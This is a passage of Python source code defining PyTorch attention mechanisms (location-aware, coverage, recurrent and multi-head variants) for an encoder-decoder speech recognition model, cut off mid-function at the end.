:rtype: Variable\n :return: previous attentioin weights (B x T_max)\n :rtype: Variable\n '''\n\n batch = len(enc_hs_pad)\n # pre-compute all h outside the decoder loop\n if self.pre_compute_enc_h is None:\n self.enc_h = enc_hs_pad # utt x frame x hdim\n self.h_length = self.enc_h.size(1)\n # utt x frame x att_dim\n self.pre_compute_enc_h = linear_tensor(self.mlp_enc, self.enc_h)\n\n if dec_z is None:\n dec_z = Variable(enc_hs_pad.data.new(batch, self.dunits).zero_())\n else:\n dec_z = dec_z.view(batch, self.dunits)\n\n # initialize attention weight with uniform dist.\n if att_prev is None:\n att_prev = [Variable(enc_hs_pad.data.new(\n l).zero_() + (1.0 / l)) for l in enc_hs_len]\n # if no bias, 0 0-pad goes 0\n att_prev = pad_list(att_prev, 0)\n\n # att_prev: utt x frame -> utt x 1 x 1 x frame -> utt x att_conv_chans x 1 x frame\n att_conv = self.loc_conv(att_prev.view(batch, 1, 1, self.h_length))\n # att_conv: utt x att_conv_chans x 1 x frame -> utt x frame x att_conv_chans\n att_conv = att_conv.squeeze(2).transpose(1, 2)\n # att_conv: utt x frame x att_conv_chans -> utt x frame x att_dim\n att_conv = linear_tensor(self.mlp_att, att_conv)\n\n # dec_z_tiled: utt x frame x att_dim\n dec_z_tiled = self.mlp_dec(dec_z).view(batch, 1, self.att_dim)\n\n # dot with gvec\n # utt x frame x att_dim -> utt x frame\n # NOTE consider zero padding when compute w.\n e = linear_tensor(self.gvec, torch.tanh(\n att_conv + self.pre_compute_enc_h + dec_z_tiled)).squeeze(2)\n w = F.softmax(scaling * e, dim=1)\n\n # weighted sum over flames\n # utt x hdim\n # NOTE use bmm instead of sum(*)\n c = torch.sum(self.enc_h * w.view(batch, self.h_length, 1), dim=1)\n\n return c, w\n\n\nclass AttCov(torch.nn.Module):\n '''Coverage mechanism attention\n\n Reference: Get To The Point: Summarization with Pointer-Generator Network\n (https://arxiv.org/abs/1704.04368)\n\n :param int eprojs: # projection-units of encoder\n :param int dunits: # units of decoder\n :param int att_dim: attention dimension\n '''\n\n def __init__(self, eprojs, dunits, att_dim):\n super(AttCov, self).__init__()\n self.mlp_enc = torch.nn.Linear(eprojs, att_dim)\n self.mlp_dec = torch.nn.Linear(dunits, att_dim, bias=False)\n self.wvec = torch.nn.Linear(1, att_dim)\n self.gvec = torch.nn.Linear(att_dim, 1)\n\n self.dunits = dunits\n self.eprojs = eprojs\n self.att_dim = att_dim\n self.h_length = None\n self.enc_h = None\n self.pre_compute_enc_h = None\n\n def reset(self):\n '''reset states'''\n self.h_length = None\n self.enc_h = None\n self.pre_compute_enc_h = None\n\n def forward(self, enc_hs_pad, enc_hs_len, dec_z, att_prev_list, scaling=2.0):\n '''AttCov forward\n\n :param Variable enc_hs_pad: padded encoder hidden state (B x T_max x D_enc)\n :param list enc_h_len: padded encoder hidden state lenght (B)\n :param Variable dec_z: docoder hidden state (B x D_dec)\n :param list att_prev_list: list of previous attetion weight\n :param float scaling: scaling parameter before applying softmax\n :return: attentioin weighted encoder state (B, D_enc)\n :rtype: Variable\n :return: list of previous attentioin weights\n :rtype: list\n '''\n\n batch = len(enc_hs_pad)\n # pre-compute all h outside the decoder loop\n if self.pre_compute_enc_h is None:\n self.enc_h = enc_hs_pad # utt x frame x hdim\n self.h_length = self.enc_h.size(1)\n # utt x frame x att_dim\n self.pre_compute_enc_h = linear_tensor(self.mlp_enc, self.enc_h)\n\n if dec_z is None:\n dec_z = Variable(enc_hs_pad.data.new(batch, self.dunits).zero_())\n else:\n dec_z = dec_z.view(batch, self.dunits)\n\n # initialize attention weight with uniform dist.\n if att_prev_list is None:\n att_prev = [Variable(enc_hs_pad.data.new(\n l).zero_() + (1.0 / l)) for l in enc_hs_len]\n # if no bias, 0 0-pad goes 0\n att_prev_list = [pad_list(att_prev, 0)]\n\n # att_prev_list: L' * [B x T] => cov_vec B x T\n cov_vec = sum(att_prev_list)\n # cov_vec: B x T => B x T x 1 => B x T x att_dim\n cov_vec = linear_tensor(self.wvec, cov_vec.unsqueeze(-1))\n\n # dec_z_tiled: utt x frame x att_dim\n dec_z_tiled = self.mlp_dec(dec_z).view(batch, 1, self.att_dim)\n\n # dot with gvec\n # utt x frame x att_dim -> utt x frame\n # NOTE consider zero padding when compute w.\n e = linear_tensor(self.gvec, torch.tanh(\n cov_vec + self.pre_compute_enc_h + dec_z_tiled)).squeeze(2)\n\n w = F.softmax(scaling * e, dim=1)\n att_prev_list += [w]\n\n # weighted sum over flames\n # utt x hdim\n # NOTE use bmm instead of sum(*)\n c = torch.sum(self.enc_h * w.view(batch, self.h_length, 1), dim=1)\n\n return c, att_prev_list\n\n\nclass AttLoc2D(torch.nn.Module):\n '''2D location-aware attention\n\n This attention is an extended version of location aware attention.\n It take not only one frame before attention weights, but also earlier frames into account.\n\n :param int eprojs: # projection-units of encoder\n :param int dunits: # units of decoder\n :param int att_dim: attention dimension\n :param int aconv_chans: # channels of attention convolution\n :param int aconv_filts: filter size of attention convolution\n :param int att_win: attention window size (default=5)\n '''\n\n def __init__(self, eprojs, dunits, att_dim, att_win, aconv_chans, aconv_filts):\n super(AttLoc2D, self).__init__()\n self.mlp_enc = torch.nn.Linear(eprojs, att_dim)\n self.mlp_dec = torch.nn.Linear(dunits, att_dim, bias=False)\n self.mlp_att = torch.nn.Linear(aconv_chans, att_dim, bias=False)\n self.loc_conv = torch.nn.Conv2d(\n 1, aconv_chans, (att_win, 2 * aconv_filts + 1), padding=(0, aconv_filts), bias=False)\n self.gvec = torch.nn.Linear(att_dim, 1)\n\n self.dunits = dunits\n self.eprojs = eprojs\n self.att_dim = att_dim\n self.h_length = None\n self.enc_h = None\n self.pre_compute_enc_h = None\n self.aconv_chans = aconv_chans\n self.att_win = att_win\n\n def reset(self):\n '''reset states'''\n self.h_length = None\n self.enc_h = None\n self.pre_compute_enc_h = None\n\n def forward(self, enc_hs_pad, enc_hs_len, dec_z, att_prev, scaling=2.0):\n '''AttLoc2D forward\n\n :param Variable enc_hs_pad: padded encoder hidden state (B x T_max x D_enc)\n :param list enc_h_len: padded encoder hidden state lenght (B)\n :param Variable dec_z: docoder hidden state (B x D_dec)\n :param Variable att_prev: previous attetion weight (B x att_win x T_max)\n :param float scaling: scaling parameter before applying softmax\n :return: attentioin weighted encoder state (B, D_enc)\n :rtype: Variable\n :return: previous attentioin weights (B x att_win x T_max)\n :rtype: Variable\n '''\n\n batch = len(enc_hs_pad)\n # pre-compute all h outside the decoder loop\n if self.pre_compute_enc_h is None:\n self.enc_h = enc_hs_pad # utt x frame x hdim\n self.h_length = self.enc_h.size(1)\n # utt x frame x att_dim\n self.pre_compute_enc_h = linear_tensor(self.mlp_enc, self.enc_h)\n\n if dec_z is None:\n dec_z = Variable(enc_hs_pad.data.new(batch, self.dunits).zero_())\n else:\n dec_z = dec_z.view(batch, self.dunits)\n\n # initialize attention weight with uniform dist.\n if att_prev is None:\n # B * [Li x att_win]\n att_prev = [Variable(\n enc_hs_pad.data.new(l, self.att_win).zero_() + 1.0 / l) for l in enc_hs_len]\n # if no bias, 0 0-pad goes 0\n att_prev = pad_list(att_prev, 0).transpose(1, 2)\n\n # att_prev: B x att_win x Tmax -> B x 1 x att_win x Tmax -> B x C x 1 x Tmax\n att_conv = self.loc_conv(att_prev.unsqueeze(1))\n # att_conv: B x C x 1 x Tmax -> B x Tmax x C\n att_conv = att_conv.squeeze(2).transpose(1, 2)\n # att_conv: utt x frame x att_conv_chans -> utt x frame x att_dim\n att_conv = linear_tensor(self.mlp_att, att_conv)\n\n # dec_z_tiled: utt x frame x att_dim\n dec_z_tiled = self.mlp_dec(dec_z).view(batch, 1, self.att_dim)\n\n # dot with gvec\n # utt x frame x att_dim -> utt x frame\n # NOTE consider zero padding when compute w.\n e = linear_tensor(self.gvec, torch.tanh(\n att_conv + self.pre_compute_enc_h + dec_z_tiled)).squeeze(2)\n\n w = F.softmax(scaling * e, dim=1)\n\n # weighted sum over flames\n # utt x hdim\n # NOTE use bmm instead of sum(*)\n c = torch.sum(self.enc_h * w.view(batch, self.h_length, 1), dim=1)\n\n # update att_prev: B x att_win x Tmax -> B x att_win+1 x Tmax -> B x att_win x Tmax\n att_prev = torch.cat([att_prev, w.unsqueeze(1)], dim=1)\n att_prev = att_prev[:, 1:]\n\n return c, att_prev\n\n\nclass AttLocRec(torch.nn.Module):\n '''location-aware recurrent attention\n\n This attention is an extended version of location aware attention.\n With the use of RNN, it take the effect of the history of attention weights into account.\n\n :param int eprojs: # projection-units of encoder\n :param int dunits: # units of decoder\n :param int att_dim: attention dimension\n :param int aconv_chans: # channels of attention convolution\n :param int aconv_filts: filter size of attention convolution\n '''\n\n def __init__(self, eprojs, dunits, att_dim, aconv_chans, aconv_filts):\n super(AttLocRec, self).__init__()\n self.mlp_enc = torch.nn.Linear(eprojs, att_dim)\n self.mlp_dec = torch.nn.Linear(dunits, att_dim, bias=False)\n self.loc_conv = torch.nn.Conv2d(\n 1, aconv_chans, (1, 2 * aconv_filts + 1), padding=(0, aconv_filts), bias=False)\n self.att_lstm = torch.nn.LSTMCell(aconv_chans, att_dim, bias=False)\n self.gvec = torch.nn.Linear(att_dim, 1)\n\n self.dunits = dunits\n self.eprojs = eprojs\n self.att_dim = att_dim\n self.h_length = None\n self.enc_h = None\n self.pre_compute_enc_h = None\n\n def reset(self):\n '''reset states'''\n self.h_length = None\n self.enc_h = None\n self.pre_compute_enc_h = None\n\n def forward(self, enc_hs_pad, enc_hs_len, dec_z, att_prev_states, scaling=2.0):\n '''AttLocRec forward\n\n :param Variable enc_hs_pad: padded encoder hidden state (B x T_max x D_enc)\n :param list enc_h_len: padded encoder hidden state lenght (B)\n :param Variable dec_z: docoder hidden state (B x D_dec)\n :param tuple att_prev_states: previous attetion weight and lstm states\n ((B, T_max), ((B, att_dim), (B, att_dim)))\n :param float scaling: scaling parameter before applying softmax\n :return: attentioin weighted encoder state (B, D_enc)\n :rtype: Variable\n :return: previous attention weights and lstm states (w, (hx, cx))\n ((B, T_max), ((B, att_dim), (B, att_dim)))\n :rtype: tuple\n '''\n\n batch = len(enc_hs_pad)\n # pre-compute all h outside the decoder loop\n if self.pre_compute_enc_h is None:\n self.enc_h = enc_hs_pad # utt x frame x hdim\n self.h_length = self.enc_h.size(1)\n # utt x frame x att_dim\n self.pre_compute_enc_h = linear_tensor(self.mlp_enc, self.enc_h)\n\n if dec_z is None:\n dec_z = Variable(enc_hs_pad.data.new(batch, self.dunits).zero_())\n else:\n dec_z = dec_z.view(batch, self.dunits)\n\n if att_prev_states is None:\n # initialize attention weight with uniform dist.\n att_prev = [Variable(\n enc_hs_pad.data.new(l).fill_(1.0 / l)) for l in enc_hs_len]\n # if no bias, 0 0-pad goes 0\n att_prev = pad_list(att_prev, 0)\n\n # initialize lstm states\n att_h = Variable(enc_hs_pad.data.new(batch, self.att_dim).zero_())\n att_c = Variable(enc_hs_pad.data.new(batch, self.att_dim).zero_())\n att_states = (att_h, att_c)\n else:\n att_prev = att_prev_states[0]\n att_states = att_prev_states[1]\n\n # B x 1 x 1 x T -> B x C x 1 x T\n att_conv = self.loc_conv(att_prev.view(batch, 1, 1, self.h_length))\n # apply non-linear\n att_conv = F.relu(att_conv)\n # B x C x 1 x T -> B x C x 1 x 1 -> B x C\n att_conv = F.max_pool2d(att_conv, (1, att_conv.size(3))).view(batch, -1)\n\n att_h, att_c = self.att_lstm(att_conv, att_states)\n\n # dec_z_tiled: utt x frame x att_dim\n dec_z_tiled = self.mlp_dec(dec_z).view(batch, 1, self.att_dim)\n\n # dot with gvec\n # utt x frame x att_dim -> utt x frame\n # NOTE consider zero padding when compute w.\n e = linear_tensor(self.gvec, torch.tanh(\n att_h.unsqueeze(1) + self.pre_compute_enc_h + dec_z_tiled)).squeeze(2)\n\n w = F.softmax(scaling * e, dim=1)\n\n # weighted sum over flames\n # utt x hdim\n # NOTE use bmm instead of sum(*)\n c = torch.sum(self.enc_h * w.view(batch, self.h_length, 1), dim=1)\n\n return c, (att_prev, (att_h, att_c))\n\n\nclass AttCovLoc(torch.nn.Module):\n '''Coverage mechanism location aware attention\n\n This attention is a combination of coverage and location-aware attentions.\n\n :param int eprojs: # projection-units of encoder\n :param int dunits: # units of decoder\n :param int att_dim: attention dimension\n :param int aconv_chans: # channels of attention convolution\n :param int aconv_filts: filter size of attention convolution\n '''\n\n def __init__(self, eprojs, dunits, att_dim, aconv_chans, aconv_filts):\n super(AttCovLoc, self).__init__()\n self.mlp_enc = torch.nn.Linear(eprojs, att_dim)\n self.mlp_dec = torch.nn.Linear(dunits, att_dim, bias=False)\n self.mlp_att = torch.nn.Linear(aconv_chans, att_dim, bias=False)\n self.loc_conv = torch.nn.Conv2d(\n 1, aconv_chans, (1, 2 * aconv_filts + 1), padding=(0, aconv_filts), bias=False)\n self.gvec = torch.nn.Linear(att_dim, 1)\n\n self.dunits = dunits\n self.eprojs = eprojs\n self.att_dim = att_dim\n self.h_length = None\n self.enc_h = None\n self.pre_compute_enc_h = None\n self.aconv_chans = aconv_chans\n\n def reset(self):\n '''reset states'''\n self.h_length = None\n self.enc_h = None\n self.pre_compute_enc_h = None\n\n def forward(self, enc_hs_pad, enc_hs_len, dec_z, att_prev_list, scaling=2.0):\n '''AttCovLoc forward\n\n :param Variable enc_hs_pad: padded encoder hidden state (B x T_max x D_enc)\n :param list enc_h_len: padded encoder hidden state lenght (B)\n :param Variable dec_z: docoder hidden state (B x D_dec)\n :param list att_prev_list: list of previous attetion weight\n :param float scaling: scaling parameter before applying softmax\n :return: attentioin weighted encoder state (B, D_enc)\n :rtype: Variable\n :return: list of previous attentioin weights\n :rtype: list\n '''\n\n batch = len(enc_hs_pad)\n # pre-compute all h outside the decoder loop\n if self.pre_compute_enc_h is None:\n self.enc_h = enc_hs_pad # utt x frame x hdim\n self.h_length = self.enc_h.size(1)\n # utt x frame x att_dim\n self.pre_compute_enc_h = linear_tensor(self.mlp_enc, self.enc_h)\n\n if dec_z is None:\n dec_z = Variable(enc_hs_pad.data.new(batch, self.dunits).zero_())\n else:\n dec_z = dec_z.view(batch, self.dunits)\n\n # initialize attention weight with uniform dist.\n if att_prev_list is None:\n att_prev = [Variable(enc_hs_pad.data.new(\n l).zero_() + (1.0 / l)) for l in enc_hs_len]\n # if no bias, 0 0-pad goes 0\n att_prev_list = [pad_list(att_prev, 0)]\n\n # att_prev_list: L' * [B x T] => cov_vec B x T\n cov_vec = sum(att_prev_list)\n\n # cov_vec: B x T -> B x 1 x 1 x T -> B x C x 1 x T\n att_conv = self.loc_conv(cov_vec.view(batch, 1, 1, self.h_length))\n # att_conv: utt x att_conv_chans x 1 x frame -> utt x frame x att_conv_chans\n att_conv = att_conv.squeeze(2).transpose(1, 2)\n # att_conv: utt x frame x att_conv_chans -> utt x frame x att_dim\n att_conv = linear_tensor(self.mlp_att, att_conv)\n\n # dec_z_tiled: utt x frame x att_dim\n dec_z_tiled = self.mlp_dec(dec_z).view(batch, 1, self.att_dim)\n\n # dot with gvec\n # utt x frame x att_dim -> utt x frame\n # NOTE consider zero padding when compute w.\n e = linear_tensor(self.gvec, torch.tanh(\n att_conv + self.pre_compute_enc_h + dec_z_tiled)).squeeze(2)\n\n w = F.softmax(scaling * e, dim=1)\n att_prev_list += [w]\n\n # weighted sum over flames\n # utt x hdim\n # NOTE use bmm instead of sum(*)\n c = torch.sum(self.enc_h * w.view(batch, self.h_length, 1), dim=1)\n\n return c, att_prev_list\n\n\nclass AttMultiHeadDot(torch.nn.Module):\n '''Multi head dot product attention\n\n Reference: Attention is all you need\n (https://arxiv.org/abs/1706.03762)\n\n :param int eprojs: # projection-units of encoder\n :param int dunits: # units of decoder\n :param int ahead: # heads of multi head attention\n :param int att_dim_k: dimension k in multi head attention\n :param int att_dim_v: dimension v in multi head attention\n '''\n\n def __init__(self, eprojs, dunits, aheads, att_dim_k, att_dim_v):\n super(AttMultiHeadDot, self).__init__()\n self.mlp_q = torch.nn.ModuleList()\n self.mlp_k = torch.nn.ModuleList()\n self.mlp_v = torch.nn.ModuleList()\n for h in six.moves.range(aheads):\n self.mlp_q += [torch.nn.Linear(dunits, att_dim_k)]\n self.mlp_k += [torch.nn.Linear(eprojs, att_dim_k, bias=False)]\n self.mlp_v += [torch.nn.Linear(eprojs, att_dim_v, bias=False)]\n self.mlp_o = torch.nn.Linear(aheads * att_dim_v, eprojs, bias=False)\n self.dunits = dunits\n self.eprojs = eprojs\n self.aheads = aheads\n self.att_dim_k = att_dim_k\n self.att_dim_v = att_dim_v\n self.scaling = 1.0 / math.sqrt(att_dim_k)\n self.h_length = None\n self.enc_h = None\n self.pre_compute_k = None\n self.pre_compute_v = None\n\n def reset(self):\n '''reset states'''\n self.h_length = None\n self.enc_h = None\n self.pre_compute_k = None\n self.pre_compute_v = None\n\n def forward(self, enc_hs_pad, enc_hs_len, dec_z, att_prev):\n '''AttMultiHeadDot forward\n\n :param Variable enc_hs_pad: padded encoder hidden state (B x T_max x D_enc)\n :param list enc_h_len: padded encoder hidden state lenght (B)\n :param Variable dec_z: decoder hidden state (B x D_dec)\n :param Variable att_prev: dummy (does not use)\n :param float scaling: scaling parameter before applying softmax\n :return: attentioin weighted encoder state (B x D_enc)\n :rtype: Variable\n :return: list of previous attentioin weight (B x T_max) * aheads\n :rtype: list\n '''\n\n batch = enc_hs_pad.size(0)\n # pre-compute all k and v outside the decoder loop\n if self.pre_compute_k is None:\n self.enc_h = enc_hs_pad # utt x frame x hdim\n self.h_length = self.enc_h.size(1)\n # utt x frame x att_dim\n self.pre_compute_k = [\n torch.tanh(linear_tensor(self.mlp_k[h], self.enc_h)) for h in six.moves.range(self.aheads)]\n\n if self.pre_compute_v is None:\n self.enc_h = enc_hs_pad # utt x frame x hdim\n self.h_length = self.enc_h.size(1)\n # utt x frame x att_dim\n self.pre_compute_v = [\n linear_tensor(self.mlp_v[h], self.enc_h) for h in six.moves.range(self.aheads)]\n\n if dec_z is None:\n dec_z = Variable(enc_hs_pad.data.new(batch, self.dunits).zero_())\n else:\n dec_z = dec_z.view(batch, self.dunits)\n\n c = []\n w = []\n for h in six.moves.range(self.aheads):\n e = torch.sum(self.pre_compute_k[h] * torch.tanh(self.mlp_q[h](dec_z)).view(\n batch, 1, self.att_dim_k), dim=2) # utt x frame\n w += [F.softmax(self.scaling * e, dim=1)]\n\n # weighted sum over flames\n # utt x hdim\n # NOTE use bmm instead of sum(*)\n c += [torch.sum(self.pre_compute_v[h] * w[h].view(batch, self.h_length, 1), dim=1)]\n\n # concat all of c\n c = self.mlp_o(torch.cat(c, dim=1))\n\n return c, w\n\n\nclass AttMultiHeadAdd(torch.nn.Module):\n '''Multi head additive attention\n\n Reference: Attention is all you need\n (https://arxiv.org/abs/1706.03762)\n\n This attention is multi head attention using additive attention for each head.\n\n :param int eprojs: # projection-units of encoder\n :param int dunits: # units of decoder\n :param int ahead: # heads of multi head attention\n :param int att_dim_k: dimension k in multi head attention\n :param int att_dim_v: dimension v in multi head attention\n '''\n\n def __init__(self, eprojs, dunits, aheads, att_dim_k, att_dim_v):\n super(AttMultiHeadAdd, self).__init__()\n self.mlp_q = torch.nn.ModuleList()\n self.mlp_k = torch.nn.ModuleList()\n self.mlp_v = torch.nn.ModuleList()\n self.gvec = torch.nn.ModuleList()\n for h in six.moves.range(aheads):\n self.mlp_q += [torch.nn.Linear(dunits, att_dim_k)]\n self.mlp_k += [torch.nn.Linear(eprojs, att_dim_k, bias=False)]\n self.mlp_v += [torch.nn.Linear(eprojs, att_dim_v, bias=False)]\n self.gvec += [torch.nn.Linear(att_dim_k, 1)]\n self.mlp_o = torch.nn.Linear(aheads * att_dim_v, eprojs, bias=False)\n self.dunits = dunits\n self.eprojs = eprojs\n self.aheads = aheads\n self.att_dim_k = att_dim_k\n self.att_dim_v = att_dim_v\n self.scaling = 1.0 / math.sqrt(att_dim_k)\n self.h_length = None\n self.enc_h = None\n self.pre_compute_k = None\n self.pre_compute_v = None\n\n def reset(self):\n '''reset states'''\n self.h_length = None\n self.enc_h = None\n self.pre_compute_k = None\n self.pre_compute_v = None\n\n def forward(self, enc_hs_pad, enc_hs_len, dec_z, att_prev):\n '''AttMultiHeadAdd forward\n\n :param Variable enc_hs_pad: padded encoder hidden state (B x T_max x D_enc)\n :param list enc_h_len: padded encoder hidden state lenght (B)\n :param Variable dec_z: decoder hidden state (B x D_dec)\n :param Variable att_prev: dummy (does not use)\n :param float scaling: scaling parameter before applying softmax\n :return: attentioin weighted encoder state (B, D_enc)\n :rtype: Variable\n :return: list of previous attentioin weight (B x T_max) * aheads\n :rtype: list\n '''\n\n batch = enc_hs_pad.size(0)\n # pre-compute all k and v outside the decoder loop\n if self.pre_compute_k is None:\n self.enc_h = enc_hs_pad # utt x frame x hdim\n self.h_length = self.enc_h.size(1)\n # utt x frame x att_dim\n self.pre_compute_k = [\n linear_tensor(self.mlp_k[h], self.enc_h) for h in six.moves.range(self.aheads)]\n\n if self.pre_compute_v is None:\n self.enc_h = enc_hs_pad # utt x frame x hdim\n self.h_length = self.enc_h.size(1)\n # utt x frame x att_dim\n self.pre_compute_v = [\n linear_tensor(self.mlp_v[h], self.enc_h) for h in six.moves.range(self.aheads)]\n\n if dec_z is None:\n dec_z = Variable(enc_hs_pad.data.new(batch, self.dunits).zero_())\n else:\n dec_z = dec_z.view(batch, self.dunits)\n\n c = []\n w = []\n for h in six.moves.range(self.aheads):\n e = linear_tensor(\n self.gvec[h],\n torch.tanh(\n self.pre_compute_k[h] + self.mlp_q[h](dec_z).view(batch, 1, self.att_dim_k))).squeeze(2)\n w += [F.softmax(self.scaling * e, dim=1)]\n\n # weighted sum over flames\n # utt x hdim\n # NOTE use bmm instead of sum(*)\n c += [torch.sum(self.pre_compute_v[h] * w[h].view(batch, self.h_length, 1), dim=1)]\n\n # concat all of c\n c = self.mlp_o(torch.cat(c, dim=1))\n\n return c, w\n\n\nclass AttMultiHeadLoc(torch.nn.Module):\n '''Multi head location based attention\n\n Reference: Attention is all you need\n (https://arxiv.org/abs/1706.03762)\n\n This attention is multi head attention using location-aware attention for each head.\n\n :param int eprojs: # projection-units of encoder\n :param int dunits: # units of decoder\n :param int aheads: # heads of multi head attention\n :param int att_dim_k: dimension k in multi head attention\n :param int att_dim_v: dimension v in multi head attention\n :param int aconv_chans: # channels of attention convolution\n :param int aconv_filts: filter size of attention convolution\n '''\n\n def __init__(self, eprojs, dunits, aheads, att_dim_k, att_dim_v, aconv_chans, aconv_filts):\n super(AttMultiHeadLoc, self).__init__()\n self.mlp_q = torch.nn.ModuleList()\n self.mlp_k = torch.nn.ModuleList()\n self.mlp_v = torch.nn.ModuleList()\n self.gvec = torch.nn.ModuleList()\n self.loc_conv = torch.nn.ModuleList()\n self.mlp_att = torch.nn.ModuleList()\n for h in six.moves.range(aheads):\n self.mlp_q += [torch.nn.Linear(dunits, att_dim_k)]\n self.mlp_k += [torch.nn.Linear(eprojs, att_dim_k, bias=False)]\n self.mlp_v += [torch.nn.Linear(eprojs, att_dim_v, bias=False)]\n self.gvec += [torch.nn.Linear(att_dim_k, 1)]\n self.loc_conv += [torch.nn.Conv2d(\n 1, aconv_chans, (1, 2 * aconv_filts + 1), padding=(0, aconv_filts), bias=False)]\n self.mlp_att += [torch.nn.Linear(aconv_chans, att_dim_k, bias=False)]\n self.mlp_o = torch.nn.Linear(aheads * att_dim_v, eprojs, bias=False)\n self.dunits = dunits\n self.eprojs = eprojs\n self.aheads = aheads\n self.att_dim_k = att_dim_k\n self.att_dim_v = att_dim_v\n self.scaling = 1.0 / math.sqrt(att_dim_k)\n self.h_length = None\n self.enc_h = None\n self.pre_compute_k = None\n self.pre_compute_v = None\n\n def reset(self):\n '''reset states'''\n self.h_length = None\n self.enc_h = None\n self.pre_compute_k = None\n self.pre_compute_v = None\n\n def forward(self, enc_hs_pad, enc_hs_len, dec_z, att_prev, scaling=2.0):\n '''AttMultiHeadLoc forward\n\n :param Variable enc_hs_pad: padded encoder hidden state (B x T_max x D_enc)\n :param list enc_h_len: padded encoder hidden state lenght (B)\n :param Variable dec_z: decoder hidden state (B x D_dec)\n :param Variable att_prev: list of previous attentioin weight (B x T_max) * aheads\n :param float scaling: scaling parameter before applying softmax\n :return: attentioin weighted encoder state (B x D_enc)\n :rtype: Variable\n :return: list of previous attentioin weight (B x T_max) * aheads\n :rtype: list\n '''\n\n batch = enc_hs_pad.size(0)\n # pre-compute all k and v outside the decoder loop\n if self.pre_compute_k is None:\n self.enc_h = enc_hs_pad # utt x frame x hdim\n self.h_length = self.enc_h.size(1)\n # utt x frame x att_dim\n self.pre_compute_k = [\n linear_tensor(self.mlp_k[h], self.enc_h) for h in six.moves.range(self.aheads)]\n\n if self.pre_compute_v is None:\n self.enc_h = enc_hs_pad # utt x frame x hdim\n self.h_length = self.enc_h.size(1)\n # utt x frame x att_dim\n self.pre_compute_v = [\n linear_tensor(self.mlp_v[h], self.enc_h) for h in six.moves.range(self.aheads)]\n\n if dec_z is None:\n dec_z = Variable(enc_hs_pad.data.new(batch, self.dunits).zero_())\n else:\n dec_z = dec_z.view(batch, self.dunits)\n\n if att_prev is None:\n att_prev = []\n for h in six.moves.range(self.aheads):\n att_prev += [[Variable(enc_hs_pad.data.new(\n l).zero_() + (1.0 / l)) for l in enc_hs_len]]\n # if no bias, 0 0-pad goes 0\n att_prev[h] = pad_list(att_prev[h], 0)\n\n c = []\n w = []\n for h in six.moves.range(self.aheads):\n att_conv = self.loc_conv[h](att_prev[h].view(batch, 1, 1, self.h_length))\n att_conv = att_conv.squeeze(2).transpose(1, 2)\n att_conv = linear_tensor(self.mlp_att[h], att_conv)\n\n e = linear_tensor(\n self.gvec[h],\n torch.tanh(\n self.pre_compute_k[h] + att_conv + self.mlp_q[h](dec_z).view(\n batch, 1, self.att_dim_k))).squeeze(2)\n w += [F.softmax(scaling * e, dim=1)]\n\n # weighted sum over flames\n # utt x hdim\n # NOTE use bmm instead of sum(*)\n c += [torch.sum(self.pre_compute_v[h] * w[h].view(batch, self.h_length, 1), dim=1)]\n\n # concat all of c\n c = self.mlp_o(torch.cat(c, dim=1))\n\n return c, w\n\n\nclass AttMultiHeadMultiResLoc(torch.nn.Module):\n '''Multi head multi resolution location based attention\n\n Reference: Attention is all you need\n (https://arxiv.org/abs/1706.03762)\n\n This attention is multi head attention using location-aware attention for each head.\n Furthermore, it uses different filter size for each head.\n\n :param int eprojs: # projection-units of encoder\n :param int dunits: # units of decoder\n :param int aheads: # heads of multi head attention\n :param int att_dim_k: dimension k in multi head attention\n :param int att_dim_v: dimension v in multi head attention\n :param int aconv_chans: maximum # channels of attention convolution\n each head use #ch = aconv_chans * (head + 1) / aheads\n e.g. aheads=4, aconv_chans=100 => filter size = 25, 50, 75, 100\n :param int aconv_filts: filter size of attention convolution\n '''\n\n def __init__(self, eprojs, dunits, aheads, att_dim_k, att_dim_v, aconv_chans, aconv_filts):\n super(AttMultiHeadMultiResLoc, self).__init__()\n self.mlp_q = torch.nn.ModuleList()\n self.mlp_k = torch.nn.ModuleList()\n self.mlp_v = torch.nn.ModuleList()\n self.gvec = torch.nn.ModuleList()\n self.loc_conv = torch.nn.ModuleList()\n self.mlp_att = torch.nn.ModuleList()\n for h in six.moves.range(aheads):\n self.mlp_q += [torch.nn.Linear(dunits, att_dim_k)]\n self.mlp_k += [torch.nn.Linear(eprojs, att_dim_k, bias=False)]\n self.mlp_v += [torch.nn.Linear(eprojs, att_dim_v, bias=False)]\n self.gvec += [torch.nn.Linear(att_dim_k, 1)]\n afilts = aconv_filts * (h + 1) // aheads\n self.loc_conv += [torch.nn.Conv2d(\n 1, aconv_chans, (1, 2 * afilts + 1), padding=(0, afilts), bias=False)]\n self.mlp_att += [torch.nn.Linear(aconv_chans, att_dim_k, bias=False)]\n self.mlp_o = torch.nn.Linear(aheads * att_dim_v, eprojs, bias=False)\n self.dunits = dunits\n self.eprojs = eprojs\n self.aheads = aheads\n self.att_dim_k = att_dim_k\n self.att_dim_v = att_dim_v\n self.scaling = 1.0 / math.sqrt(att_dim_k)\n self.h_length = None\n self.enc_h = None\n self.pre_compute_k = None\n self.pre_compute_v = None\n\n def reset(self):\n '''reset states'''\n self.h_length = None\n self.enc_h = None\n self.pre_compute_k = None\n self.pre_compute_v = None\n\n def forward(self, enc_hs_pad, enc_hs_len, dec_z, att_prev):\n '''AttMultiHeadMultiResLoc forward\n\n :param Variable enc_hs_pad: padded encoder hidden state (B x T_max x D_enc)\n :param list enc_h_len: padded encoder hidden state lenght (B)\n :param Variable dec_z: decoder hidden state (B x D_dec)\n :param Variable att_prev: list of previous attentioin weight (B x T_max) * aheads\n :param float scaling: scaling parameter before applying softmax\n :return: attentioin weighted encoder state (B x D_enc)\n :rtype: Variable\n :return: list of previous attentioin weight (B x T_max) * aheads\n :rtype: list\n '''\n\n batch = enc_hs_pad.size(0)\n # pre-compute all k and v outside the decoder loop\n if self.pre_compute_k is None:\n self.enc_h = enc_hs_pad # utt x frame x hdim\n self.h_length = self.enc_h.size(1)\n # utt x frame x att_dim\n self.pre_compute_k = [\n linear_tensor(self.mlp_k[h], self.enc_h) for h in six.moves.range(self.aheads)]\n\n if self.pre_compute_v is None:\n self.enc_h = enc_hs_pad # utt x frame x hdim\n self.h_length = self.enc_h.size(1)\n # utt x frame x att_dim\n self.pre_compute_v = [\n linear_tensor(self.mlp_v[h], self.enc_h) for h in six.moves.range(self.aheads)]\n\n if dec_z is None:\n dec_z = Variable(enc_hs_pad.data.new(batch, self.dunits).zero_())\n else:\n dec_z = dec_z.view(batch, self.dunits)\n\n if att_prev is None:\n att_prev = []\n for h in six.moves.range(self.aheads):\n att_prev += [[Variable(enc_hs_pad.data.new(\n l).zero_() + (1.0 / l)) for l in 